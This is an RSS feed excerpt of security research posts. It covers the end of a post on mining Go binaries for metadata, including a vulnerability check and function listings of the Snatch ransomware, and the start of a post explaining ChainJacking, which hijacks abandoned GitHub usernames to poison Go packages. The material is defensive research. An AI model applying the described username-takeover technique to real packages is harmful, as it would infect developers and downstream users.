&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;&lt;/span&gt;&lt;span class="c1"&gt;// BuildSetting describes a setting that may be used to understand how the&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;&lt;/span&gt;&lt;span class="c1"&gt;// binary was built. For example, VCS commit and dirty status is stored here.&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;&lt;/span&gt;&lt;span class="kd"&gt;type&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;BuildSetting&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;struct&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// Key and Value describe the build setting. They must not contain tabs&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// or newlines.&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Value&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;string&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Until Go 1.18 is released, we can just copy the code from the runtime and use
it to parse the string into a useful data structure. With this information, we
get the versions and can easily detect which packages are part of a dependency
module.&lt;/p&gt;
&lt;h2&gt;Vulnerability Scanner&lt;span class="hx:absolute hx:-mt-20" id="vulnerability-scanner"&gt;&lt;/span&gt;
&lt;a href="#vulnerability-scanner" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;In this section, we are going to see how the extracted information can be used
to design a vulnerability scanner. There is currently a project of developing a
&lt;a href="https://golang.org/x/vuln"target="_blank" rel="noopener"&gt;vulnerability database&lt;/a&gt; and code for checking
against it. The goal with this scanner is instead of working with the source
code, it is to work with the compiled artifacts allowing users of a Go
application to check it for vulnerability. For our
&lt;a href="https://github.com/golang/vulndb/blob/master/reports/GO-2021-0061.yaml"target="_blank" rel="noopener"&gt;example&lt;/a&gt;,
we will use a vulnerability reported in the &lt;code&gt;gopkg.in/yaml.v2&lt;/code&gt; module. The code
snippet below shows the data available in the vulnerability database.&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-yaml" data-lang="yaml"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nt"&gt;module&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;gopkg.in/yaml.v2&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;&lt;/span&gt;&lt;span class="nt"&gt;additional_packages&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c"&gt;# all of the incompatible versions of github.com/go-yaml/yaml&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c"&gt;# are affected&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;- &lt;span class="nt"&gt;module&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;github.com/go-yaml/yaml&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;symbols&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;- &lt;span class="l"&gt;decoder.unmarshal&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;&lt;/span&gt;&lt;span class="nt"&gt;versions&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;&lt;/span&gt;- &lt;span class="nt"&gt;fixed&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;v2.2.3&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;&lt;/span&gt;&lt;span class="nt"&gt;description&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="sd"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="sd"&gt; Due to unbounded alias chasing, a maliciously crafted YAML file
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="sd"&gt; can cause the system to consume significant system resources. If
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="sd"&gt; parsing user input, this may be used as a denial of service vector.&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;&lt;/span&gt;&lt;span class="nt"&gt;published&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ld"&gt;2021-04-14T12:00:00Z&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;&lt;/span&gt;&lt;span class="nt"&gt;credit&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;@simonferquel&amp;#34;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;&lt;/span&gt;&lt;span class="nt"&gt;symbols&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;&lt;/span&gt;- &lt;span class="l"&gt;decoder.unmarshal&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;&lt;/span&gt;&lt;span class="nt"&gt;links&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;&lt;/span&gt;&lt;span class="nt"&gt;pr&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;https://github.com/go-yaml/yaml/pull/375&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;&lt;/span&gt;&lt;span class="nt"&gt;commit&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;https://github.com/go-yaml/yaml/commit/bb4e33bf68bf89cad44d386192cbed201f35b241&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;In addition to the module name &lt;code&gt;gopkg.in/yaml.v2&lt;/code&gt; we also have the fixed
version &lt;code&gt;v2.2.3&lt;/code&gt; and the affected symbol &lt;code&gt;decoder.unmarshal&lt;/code&gt;. What we can
decipher from this is that the &lt;code&gt;unmarshal&lt;/code&gt; method on the &lt;code&gt;decoder&lt;/code&gt; type prior
to &lt;code&gt;v2.2.3&lt;/code&gt; is vulnerable. With this information we can construct the following
logic to check for this vulnerability:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Extract the build information to see if the binary uses a version earlier
than &lt;code&gt;v2.2.3&lt;/code&gt;. If not, report as not vulnerable.&lt;/li&gt;
&lt;li&gt;Search for a function with the package name of &lt;code&gt;gopkg.in/yaml.v2&lt;/code&gt;, the
receiver of &lt;code&gt;decoder&lt;/code&gt;, and the name of &lt;code&gt;unmarshal&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Check if the found function has a non-nil &lt;code&gt;Entry&lt;/code&gt; field. If it does, report
as vulnerable. Otherwise, report as not vulnerable.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Now, this approach is not perfect. We are standing on the shoulders of the Go
compiler&amp;rsquo;s dead-code elimination logic to remove code that&amp;rsquo;s not reachable. It
is possible that the code is never executed in the binary but the compiler
failed to eliminate it, which would result in a false positive. It is possible
to reduce this false positive further but it would need to create call graphs
to see if the code is reachable. This is out of scope for this post.&lt;/p&gt;
&lt;h2&gt;Source Code Map&lt;span class="hx:absolute hx:-mt-20" id="source-code-map"&gt;&lt;/span&gt;
&lt;a href="#source-code-map" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;With the data extracted using the &lt;code&gt;debug&lt;/code&gt; package, there are some other
interesting things we can do. Remember that the PCLN table is used to map a
process counter to a specific line in a source code file. This means that the
binary has information about the structure of the source code. What we just
need to do is extract it and present it in a friendlier way. As I have
described the process in a
&lt;a href="https://tcm1911.github.io/posts/pclntab-function-recovery/"target="_blank" rel="noopener"&gt;previous blog post&lt;/a&gt;,
this will be a summarized version. In an earlier section, the &lt;code&gt;Func&lt;/code&gt; type was
introduced that holds symbol information about a function. Two of the fields
are pointers to where the code of the function starts and ends. This means we
know where the first instruction starts and the last instruction ends for the
method. The &lt;code&gt;Table&lt;/code&gt; structure has a method for resolving a process counter to
both a line number and a source code file name. This gives us of way to
determine the first and last line number of a function in the source code. One
may naively assume that we can just put the entry and the end field values into
the function and it will return what we want. Unfortunately, this is not the
case. The entry works fine but issues sometimes occur with the last
instruction. The compiler adds code to the end of each function (this code
requests more stack space) which can throw off the information. So the best we
can do is to estimate where the end is by checking all instructions in the
function and assuming that the largest line number in the same file as the
starting line is the end of the function. This method isn&amp;rsquo;t perfect as inline
functions can break this assertion. The next step is to get the location of
each instruction in the function. For x86 this isn&amp;rsquo;t straightforward because
they can be one to 15 bytes long. This means that the only way of getting the
location of each instruction is to disassemble it. The Go team maintains a
package named &lt;a href="https://pkg.go.dev/golang.org/x/arch"target="_blank" rel="noopener"&gt;&lt;code&gt;arch&lt;/code&gt;&lt;/a&gt; that can
disassemble x86, ARM, and PowerPC. The package is used by the Go tool
&lt;code&gt;objdump&lt;/code&gt;. Another hack that can be used is to just assume that each
instruction is say for example four bytes long and resolve the line for every
four-bytes. The process counter to line mapping function does not care if the
passed in process counter is right in the middle of an instruction… With the
file names and line numbers extracted we can just organize the data and present
it. Here is for example the extracted data for a &lt;code&gt;gofmt&lt;/code&gt; binary. It only shows
the data for the main module. The first line gives the name of the package and
the path to the folder when it was compiled. Next, each file is listed. Under
each file, the function is listed in the sorted order of the starting line
number. The function line also includes an estimated ending line of the
function and estimated lines of code; the first line is the function
definition. In the code snippet below we can see that one file is named
&lt;code&gt;&amp;lt;autogenerated&amp;gt;&lt;/code&gt;. This is for code generated by the compiler. Another thing we
can see in the output is some functions with &lt;code&gt;dwrap&lt;/code&gt; in the name, for example,
&lt;code&gt;processFile·dwrap·1&lt;/code&gt;. These are functions generated by the compiler for
&lt;a href="https://github.com/golang/go/blob/f58c78a5771570667b26e8c74faa017bd4c2c448/src/cmd/gofmt/gofmt.go#L90"target="_blank" rel="noopener"&gt;defer calls&lt;/a&gt;.&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;Package main: /usr/lib/go/src/cmd/gofmt
File: &amp;lt;autogenerated&amp;gt;
(*simplifier)Visit Lines: 1 to 1 (0)
File: gofmt.go
init Lines: 29 to 53 (24)
usage Lines: 64 to 76 (12)
isGoFile Lines: 76 to 83 (7)
processFile Lines: 83 to 163 (80)
processFile·dwrap·1 Lines: 90 to 166 (76)
visitFile Lines: 166 to 176 (10)
main Lines: 176 to 184 (8)
gofmtMain Lines: 184 to 232 (48)
gofmtMain·dwrap·2 Lines: 195 to 234 (39)
diffWithReplaceTempFile Lines: 234 to 251 (17)
replaceTempFilename Lines: 251 to 276 (25)
backupFile Lines: 276 to 298 (22)
File: internal.go
parse Lines: 23 to 94 (71)
parsefunc1 Lines: 45 to 69 (24)
parsefunc2 Lines: 69 to 80 (11)
format Lines: 94 to 175 (81)
File: rewrite.go
initRewrite Lines: 19 to 32 (13)
initRewritefunc1 Lines: 31 to 38 (7)
parseExpr Lines: 38 to 57 (19)
rewriteFile Lines: 57 to 81 (24)
rewriteFilefunc1 Lines: 64 to 85 (21)
set Lines: 85 to 117 (32)
setfunc1 Lines: 90 to 99 (9)
apply Lines: 117 to 152 (35)
isWildcard Lines: 152 to 160 (8)
match Lines: 160 to 248 (88)
subst Lines: 248 to 308 (60)
File: simplify.go
simplifierVisit Lines: 15 to 130 (115)
simplifiersimplifyLiteral Lines: 102 to 133 (31)
simplify Lines: 133 to 141 (8)
removeEmptyDeclGroups Lines: 141 to 152 (11)
isEmpty Lines: 152 to 164 (12)&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;One may wonder what this information can be used for. One thing it can be used
for is to detect changes in Go applications. Another place where it is useful
is for the analysis of suspicious Go binaries by for example identifying if the
application is an open-source program or malware. The snippet below is from a
ransomware called Snatch that has been around for a few years. From the
function names, we can get an idea of what the binary might be doing. We see
both function names that suggest scanning folders for files and encrypting. One
thing that this ransomware does is to install itself as a Windows service that
is started in &lt;em&gt;Safe boot mode&lt;/em&gt;. After it has installed itself as a service, it
reboots the machine into safe mode. We can see function names in the output
that suggest this behavior.&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;Package main: /home/go/src/locker
File: config.go
init Lines: 39 to 246 (207)
File: dirs.go
scanDir Lines: 10 to 85 (75)
scanDirfunc1 Lines: 11 to 13 (2)
File: files.go
encryptFile Lines: 13 to 120 (107)
encryptFilefunc1 Lines: 14 to 16 (2)
File: main.go
main Lines: 24 to 91 (67)
runInstance Lines: 91 to 107 (16)
File: misc.go
decodeString Lines: 15 to 37 (22)
makeFile Lines: 37 to 60 (23)
makeFilefunc1 Lines: 43 to 68 (25)
makeBatFile Lines: 60 to 67 (7)
runBatFile Lines: 67 to 92 (25)
runBatFilefunc1 Lines: 68 to 70 (2)
isSafeBoot Lines: 92 to 115 (23)
deleteShadowCopy Lines: 115 to 135 (20)
selfRemove Lines: 135 to 158 (23)
randomBatFileName Lines: 158 to 171 (13)
Copy Lines: 171 to 188 (17)
File: queue.go
(*Queue)Push Lines: 20 to 33 (13)
(*Queue)Pop Lines: 33 to 45 (12)
runWorkers Lines: 45 to 64 (19)
File: services.go
(*myService)Execute Lines: 13 to 56 (43)
getServicesNamesList Lines: 56 to 88 (32)
stopServices Lines: 88 to 113 (25)
setupServiceSafeBoot Lines: 113 to 138 (25)
safeModeEnabled Lines: 138 to 161 (23)
installService Lines: 161 to 188 (27)
reboot Lines: 188 to 204 (16)&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h2&gt;Wrap-up&lt;span class="hx:absolute hx:-mt-20" id="wrap-up"&gt;&lt;/span&gt;
&lt;a href="#wrap-up" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;There is much more metadata, for example,
&lt;a href="https://tcm1911.github.io/posts/extracting-go-types/"target="_blank" rel="noopener"&gt;types&lt;/a&gt; and the build-id,
that can be extracted from Go binaries. If we were to cover all of it, this
post would be way too long. Hopefully, this has shown that Go binaries are rich
with metadata and that binary analysis isn&amp;rsquo;t that bad. For readers that would
like to do some of their own binary analysis but do not want to write all the
code to extract the data, there are libraries available. The
&lt;a href="https://github.com/goretk"target="_blank" rel="noopener"&gt;Go Reverse Engineering Tool Kit&lt;/a&gt; can extract all
the data covered in this post, allowing just your imagination with what to do
with the data.&lt;/p&gt;</description></item><item><title>New Type of Supply Chain Attack Could Put Popular Admin Tools at Risk</title><link>https://research.intezer.com/blog/2021/11/chainjacking-supply-chain-attack-puts-popular-admin-tools-at-risk/</link><pubDate>Tue, 16 Nov 2021 00:00:00 +0000</pubDate><guid>https://research.intezer.com/blog/2021/11/chainjacking-supply-chain-attack-puts-popular-admin-tools-at-risk/</guid><description>
&lt;p&gt;Research between Intezer and &lt;a href="https://checkmarx.com/"target="_blank" rel="noopener"&gt;Checkmarx&lt;/a&gt; describes
ChainJacking, a type of software supply chain attack that could be potentially
exploited by threat actors and puts common admin tools at risk.&lt;/p&gt;
&lt;p&gt;We have identified a number of open-source Go packages that are susceptible to
ChainJacking given that some of these vulnerable packages are embedded in
popular admin tools.&lt;/p&gt;
&lt;p&gt;The nature of transitive trust between open-source security (OSS) makes this
technique highly difficult to defend at the developer level using open-source
software.&lt;/p&gt;
&lt;p&gt;To help the infosec community protect against this type of attack, we developed
an &lt;a href="https://github.com/checkmarx/chainjacking"target="_blank" rel="noopener"&gt;open-source tool&lt;/a&gt; which can be
used to scan source code and detect if packages downloaded from GitHub and
other sources are vulnerable. You can also scan the binaries of any program in
&lt;a href="https://analyze.intezer.com/?utm_campaign=research-blog&amp;amp;utm_content=chainjacking-supply-chain-attack-puts-popular-admin-tools-at-risk&amp;amp;utm_medium=referral&amp;amp;utm_source=research.intezer.com"target="_blank" rel="noopener"&gt;Intezer Analyze&lt;/a&gt; to make sure they don&amp;rsquo;t contain
vulnerable packages or ChainJacking vulnerable Git repositories.&lt;/p&gt;
&lt;h2&gt;Intro&lt;span class="hx:absolute hx:-mt-20" id="intro"&gt;&lt;/span&gt;
&lt;a href="#intro" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;An attacker slipping through the cracks between the designs of GitHub and Go
Package Manager could allow them to take control over popular Go packages,
poison them, and infect both developers and users.&lt;/p&gt;
&lt;p&gt;Go build tools provide an easy way for developers to download and use
open-source libraries in their projects. Compared to other languages such as
Python and Rust, Go doesn&amp;rsquo;t use a central repository where libraries can be
downloaded from. Instead, the Go tooling pulls code packages straight from
version control systems such as GitHub¹.&lt;/p&gt;
&lt;p&gt;GitHub is the largest source-code repository on the internet, with the majority
of Go packages hosted on it. One feature GitHub provides is allowing users to
change usernames.&lt;/p&gt;
&lt;p&gt;The change of username process is quick and simple. A warning lets you know
that all traffic for the old repository&amp;rsquo;s URL will be redirected to the new
one.&lt;/p&gt;
&lt;p&gt;What GitHub doesn&amp;rsquo;t mention in this alert is an important implication that it
does list in its documentation:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;After changing your username, your old username becomes available for anyone
else to claim.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;This means that an attacker can easily claim the abandoned username and start
serving up malicious code to anyone who downloads the package, relying on the
credibility gained by its former owner. Doing so in a Go package repository
could result in a chain reaction that substantially widens the code
distribution and infects large numbers of downstream products.&lt;/p&gt;
&lt;p&gt;Let&amp;rsquo;s lay out the blueprint for this relatively simple yet potentially
catastrophic attack vector.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;¹ We are focusing on Go but other package managers like NPM also allow code
pulling from version control systems which makes them susceptible to this kind
of attack as well.&lt;/p&gt;
&lt;h2&gt;Direct ChainJacking&lt;span class="hx:absolute hx:-mt-20" id="direct-chainjacking"&gt;&lt;/span&gt;
&lt;a href="#direct-chainjacking" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Let&amp;rsquo;s give an example scenario. A developer named Annastacia opens a GitHub
account under the username &lt;code&gt;Annastacia&lt;/code&gt;. She then publishes a useful Go package
in a repository under the name &lt;code&gt;useful&lt;/code&gt;. Anyone who wants to use this package
can either download and install it via &lt;code&gt;go get github.com/Annastacia/useful&lt;/code&gt;,
or import it into their code via &lt;code&gt;import github.com/Annastacia/useful&lt;/code&gt;. This
action will add an entry to the &lt;code&gt;go.mod&lt;/code&gt; file, allowing the tooling provided by
Go to easily update the package when new versions are released.&lt;/p&gt;
&lt;p&gt;Some time has now gone by and thanks to its usefulness, the package has become
popular. Annastacia decides that she wants a shorter name for her repository
and with just a few clicks she changes her GitHub username to &lt;code&gt;Anna&lt;/code&gt;.
Subsequently, two things will happen:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;The username &lt;code&gt;Annastacia&lt;/code&gt; is now available to be registered by anyone else.&lt;/li&gt;
&lt;li&gt;All requests for &lt;code&gt;github.com/Annastacia/useful&lt;/code&gt; are now redirected to
&lt;code&gt;github.com/Anna/useful&lt;/code&gt;.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;All current packages using &lt;code&gt;github.com/Annastacia/useful&lt;/code&gt; can still use it as
before, so nothing breaks and there are no user complaints as of yet².&lt;/p&gt;
&lt;p&gt;If a malicious actor manages to claim the &lt;code&gt;Annastacia&lt;/code&gt; username, they can then
publish their own malicious code under the repository name &lt;code&gt;useful&lt;/code&gt;. This
action breaks the redirect to &lt;code&gt;Anna/useful&lt;/code&gt; and GitHub now serves the threat
actor&amp;rsquo;s malicious code from &lt;code&gt;github.com/Annastacia/useful&lt;/code&gt;, which could
compromise anyone using the old URL.&lt;/p&gt;
&lt;p&gt;The concept is rather simple. Now, every new installation of this package can
potentially infect the installing developer&amp;rsquo;s machine. Even more potentially
damaging, any new package or third-party product written in the future which
depends on this infected package will also cause infections on any machine it
is installed on.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;² Given that the owner dealt with the Go module configuration the right way.&lt;/p&gt;
&lt;h2&gt;Meet go.mod &amp;amp; go.sum&lt;span class="hx:absolute hx:-mt-20" id="meet-gomod--gosum"&gt;&lt;/span&gt;
&lt;a href="#meet-gomod--gosum" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;In the attack scenario described above, the victim&amp;rsquo;s machine is infected by
directly calling for the poisoned package. This is assuming the victim called
Annastacia&amp;rsquo;s old repository URL and not the new one. As previously mentioned, a
successful attack can also occur when the poisoned package is called
indirectly, as a dependency of another package, preferably a popular one.
However, this kind of attack raises new challenges for the attacker.&lt;/p&gt;
&lt;p&gt;Dependencies in a Go project are managed by two files, &lt;code&gt;go.mod&lt;/code&gt; and &lt;code&gt;go.sum&lt;/code&gt;.
The &lt;code&gt;go.mod&lt;/code&gt; file holds a complete list of the module&amp;rsquo;s dependencies and their
versions, while the &lt;code&gt;go.sum&lt;/code&gt; file holds a complete list of the module&amp;rsquo;s
dependencies, their versions, and a checksum of the package.&lt;/p&gt;
&lt;p&gt;Looking at this from the viewpoint of an attacker, if they manage to take
control over a package, found in the &lt;code&gt;go.mod&lt;/code&gt; and &lt;code&gt;go.sum&lt;/code&gt; files of a popular
